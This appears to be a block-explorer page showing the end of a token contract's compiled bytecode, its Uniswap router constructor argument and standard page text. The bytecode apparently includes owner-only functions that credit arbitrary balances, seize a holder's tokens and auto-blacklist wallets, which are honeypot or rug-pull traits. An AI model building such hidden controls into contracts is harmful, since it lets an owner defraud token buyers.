4906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee490614771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611f2657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fad90614ae1565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b61202e612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b290614771565b60405180910390fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61211e612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a290614771565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612282612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461230f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230690614771565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235a919061488c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6123a9612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242d90614771565b60405180910390fd5b801515600d60019054906101000a900460ff1615150361245557600080fd5b80600d60016101000a81548160ff02191690831515021790555050565b600c5481565b612480612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461250d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250490614771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361257c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257390614b73565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612641612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c590614771565b60405180910390fd5b80601860016101000a81548160ff02191690831515021790555050565b60095481565b6126f9612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277d90614771565b60405180910390fd5b61278e611ac1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f290614bdf565b60405180910390fd5b670de0b6b3a76400008161280f9190614bff565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116129af576000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612945919061488c565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b36565b670de0b6b3a7640000816129c39190614bff565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0d9190614c41565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a764000081612a649190614bff565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad0919061488c565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba890614ce7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612c20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1790614d79565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612cfe9190614569565b60405180910390a3505050565b6000612d1784846121f3565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612d915781811015612d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d7a90614de5565b60405180910390fd5b612d908484848403612b42565b5b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612e07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dfe90614e77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6d90614f09565b60405180910390fd5b60008203612e9157612e8a848460006131ff565b90506131f8565b601860019054906101000a900460ff16156131e157600d60009054906101000a900460ff1615612ecd57612ec68484846131ff565b90506131f8565b6000612ed83061185a565b90506000600c548210159050808015612efe5750600d60009054906101000a900460ff16155b8015612f575750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015612f6f5750600d60019054906101000a900460ff165b15612f9957600d60029054906101000a900460ff1615612f8f57600c5491505b612f988261338d565b5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe49190614c41565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130ca5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6130de576130d98787876133d5565b6130e0565b845b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312d919061488c565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516131cd9190614569565b60405180910390a3600193505050506131f8565b6131eb848361369b565b6131f6848484613958565b505b9392505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461324c9190614c41565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132da919061488c565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161337a9190614569565b60405180910390a3600190509392505050565b61339681613f67565b600047905060008111156133d1576133d0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826141e0565b5b5050565b60008060009050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156134805750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156134a357600954600854846134969190614bff565b6134a09190614f58565b90505b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561351757600954600654846135069190614bff565b6135109190614f58565b9050613588565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613587576009546007548461357a9190614bff565b6135849190614f58565b90505b5b60008111156136855780600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135dc919061488c565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161367c9190614569565b60405180910390a35b80836136919190614c41565b9150509392505050565b6136a3611ac1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156137285750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561377e5750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561395457601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156137da57600080fd5b6000601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561386f57601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561386e57600080fd5b5b6000601654111561388a5760165481111561388957600080fd5b5b601560009054906101000a900460ff16156138da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138d190614fd5565b60405180910390fd5b6000601754111561393457601754600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561393357600080fd5b5b601860009054906101000a900460ff1615613953576139528261422b565b5b5b5050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156139dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139d390615041565b60405180910390fd5b6139e4611ac1565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015613a695750601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613aa157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15613ddd57600d60009054906101000a900460ff1615613acd57613ac68484846131ff565b9050613f60565b6000613ad83061185a565b90506000600c548210159050808015613afe5750600d60009054906101000a900460ff16155b8015613b575750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015613b6f5750600d60019054906101000a900460ff165b15613b9957600d60029054906101000a900460ff1615613b8f57600c5491505b613b988261338d565b5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613be49190614c41565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613cca5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613cde57613cd98787876133d5565b613ce0565b845b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d2d919061488c565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051613dd09190614569565b60405180910390a3613f5f565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613e289190614c41565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eb6919061488c565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051613f569190614569565b60405180910390a35b5b9392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115613f9f57613f9e615061565b5b604051908082528060200260200182016040528015613fcd5781602001602082028036833780820191505090505b5090503081600081518110613fe557613fe4615090565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561408c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140b091906148d5565b816001815181106140c4576140c3615090565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061412b30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612b42565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161418f9594939291906151b8565b600060405180830381600087803b1580156141a957600080fd5b505af11580156141bd573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614226573d6000803e3d6000fd5b505050565b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006142b68261428b565b9050919050565b6142c6816142ab565b81146142d157600080fd5b50565b6000813590506142e3816142bd565b92915050565b6000602082840312156142ff576142fe614286565b5b600061430d848285016142d4565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614350578082015181840152602081019050614335565b60008484015250505050565b6000601f19601f8301169050919050565b600061437882614316565b6143828185614321565b9350614392818560208601614332565b61439b8161435c565b840191505092915050565b600060208201905081810360008301526143c0818461436d565b905092915050565b6000819050919050565b6143db816143c8565b81146143e657600080fd5b50565b6000813590506143f8816143d2565b92915050565b6000806040838503121561441557614414614286565b5b6000614423858286016142d4565b9250506020614434858286016143e9565b9150509250929050565b60008115159050919050565b6144538161443e565b82525050565b600060208201905061446e600083018461444a565b92915050565b6000819050919050565b600061449961449461448f8461428b565b614474565b61428b565b9050919050565b60006144ab8261447e565b9050919050565b60006144bd826144a0565b9050919050565b6144cd816144b2565b82525050565b60006020820190506144e860008301846144c4565b92915050565b6144f78161443e565b811461450257600080fd5b50565b600081359050614514816144ee565b92915050565b6000806040838503121561453157614530614286565b5b600061453f858286016142d4565b925050602061455085828601614505565b9150509250929050565b614563816143c8565b82525050565b600060208201905061457e600083018461455a565b92915050565b60008060006060848603121561459d5761459c614286565b5b60006145ab868287016142d4565b93505060206145bc868287016142d4565b92505060406145cd868287016143e9565b9150509250925092565b6000602082840312156145ed576145ec614286565b5b60006145fb84828501614505565b91505092915050565b600060ff82169050919050565b61461a81614604565b82525050565b60006020820190506146356000830184614611565b92915050565b614644816142ab565b82525050565b600060208201905061465f600083018461463b565b92915050565b60008060006060848603121561467e5761467d614286565b5b600061468c868287016143e9565b935050602061469d868287016143e9565b92505060406146ae868287016143e9565b9150509250925092565b6000602082840312156146ce576146cd614286565b5b60006146dc848285016143e9565b91505092915050565b600080604083850312156146fc576146fb614286565b5b600061470a858286016142d4565b925050602061471b858286016142d4565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061475b602083614321565b915061476682614725565b602082019050919050565b6000602082019050818103600083015261478a8161474e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806147d857607f821691505b6020821081036147eb576147ea614791565b5b50919050565b7f416c726561647920616464656421000000000000000000000000000000000000600082015250565b6000614827600e83614321565b9150614832826147f1565b602082019050919050565b600060208201905081810360008301526148568161481a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614897826143c8565b91506148a2836143c8565b92508282019050808211156148ba576148b961485d565b5b92915050565b6000815190506148cf816142bd565b92915050565b6000602082840312156148eb576148ea614286565b5b60006148f9848285016148c0565b91505092915050565b6000604082019050614917600083018561463b565b614924602083018461463b565b9392505050565b7f496e636f72726563742074617800000000000000000000000000000000000000600082015250565b6000614961600d83614321565b915061496c8261492b565b602082019050919050565b6000602082019050818103600083015261499081614954565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006149f3602583614321565b91506149fe82614997565b604082019050919050565b60006020820190508181036000830152614a22816149e6565b9050919050565b7f4368616e67652076616c75652100000000000000000000000000000000000000600082015250565b6000614a5f600d83614321565b9150614a6a82614a29565b602082019050919050565b60006020820190508181036000830152614a8e81614a52565b9050919050565b7f54686973206164647265737320616c7265616479207365740000000000000000600082015250565b6000614acb601883614321565b9150614ad682614a95565b602082019050919050565b60006020820190508181036000830152614afa81614abe565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614b5d602683614321565b9150614b6882614b01565b604082019050919050565b60006020820190508181036000830152614b8c81614b50565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b6000614bc9600c83614321565b9150614bd482614b93565b602082019050919050565b60006020820190508181036000830152614bf881614bbc565b9050919050565b6000614c0a826143c8565b9150614c15836143c8565b9250828202614c23816143c8565b91508282048414831517614c3a57614c3961485d565b5b5092915050565b6000614c4c826143c8565b9150614c57836143c8565b9250828203905081811115614c6f57614c6e61485d565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614cd1602483614321565b9150614cdc82614c75565b604082019050919050565b60006020820190508181036000830152614d0081614cc4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614d63602283614321565b9150614d6e82614d07565b604082019050919050565b60006020820190508181036000830152614d9281614d56565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614dcf601d83614321565b9150614dda82614d99565b602082019050919050565b60006020820190508181036000830152614dfe81614dc2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614e61602583614321565b9150614e6c82614e05565b604082019050919050565b60006020820190508181036000830152614e9081614e54565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614ef3602383614321565b9150614efe82614e97565b604082019050919050565b60006020820190508181036000830152614f2281614ee6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614f63826143c8565b9150614f6e836143c8565b925082614f7e57614f7d614f29565b5b828204905092915050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b6000614fbf600583614321565b9150614fca82614f89565b602082019050919050565b60006020820190508181036000830152614fee81614fb2565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b600061502b601583614321565b915061503682614ff5565b602082019050919050565b6000602082019050818103600083015261505a8161501e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006150e46150df6150da846150bf565b614474565b6143c8565b9050919050565b6150f4816150c9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61512f816142ab565b82525050565b60006151418383615126565b60208301905092915050565b6000602082019050919050565b6000615165826150fa565b61516f8185615105565b935061517a83615116565b8060005b838110156151ab5781516151928882615135565b975061519d8361514d565b92505060018101905061517e565b5085935050505092915050565b600060a0820190506151cd600083018861455a565b6151da60208301876150eb565b81810360408301526151ec818661515a565b90506151fb606083018561463b565b615208608083018461455a565b969550505050505056fea2646970667358221220035980fd90e8ad3051a3f6397595003d693148e09f71929c7b26e4c460f9cab264736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : _router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.